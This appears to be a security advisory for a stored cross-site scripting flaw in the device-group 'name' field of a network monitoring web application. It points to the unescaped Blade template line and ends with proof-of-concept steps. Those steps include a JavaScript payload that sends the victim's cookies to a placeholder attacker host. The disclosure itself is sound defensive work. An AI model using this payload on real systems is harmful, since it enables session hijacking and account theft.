Summary
/device-groups name Stored Cross-Site Scripting
- HTTP POST
- Request-URI(s): "/device-groups"
- Vulnerable parameter(s): "name"
- Attacker must be authenticated with "admin" privileges.
- When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter.
- After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.
Details
The vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters
or strings. When the delete button is rendered, the following template is used to render the page:
resources/views/device-group/index.blade.php:
@section('title', __('Device Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-device-groups-panel">
// [...Truncated...]
@foreach($device_groups as $device_group)
// [...Truncated...]
<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Device Group') }}" aria-label="{{ __('Delete') }}"
onclick="delete_dg(this, '{{$device_group->name }}', '{{ route('device-groups.destroy', $device_group->id)
}}')"> // using the device's name in the Delete button functionality without
sanitizing for XSS related characters/strings
As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored
cross-site scripting.
PoC
- Login
- Select Devices > Manage Groups
- Select New Device Group
- Input 12345');var pt=new Image();pt.src='http://<ATTACKER_IP>/cookie-
- '.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into
- the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)
- Select "access_points.accesspoint_id" as the Conditional input
- Input 1 into the Conditional value input box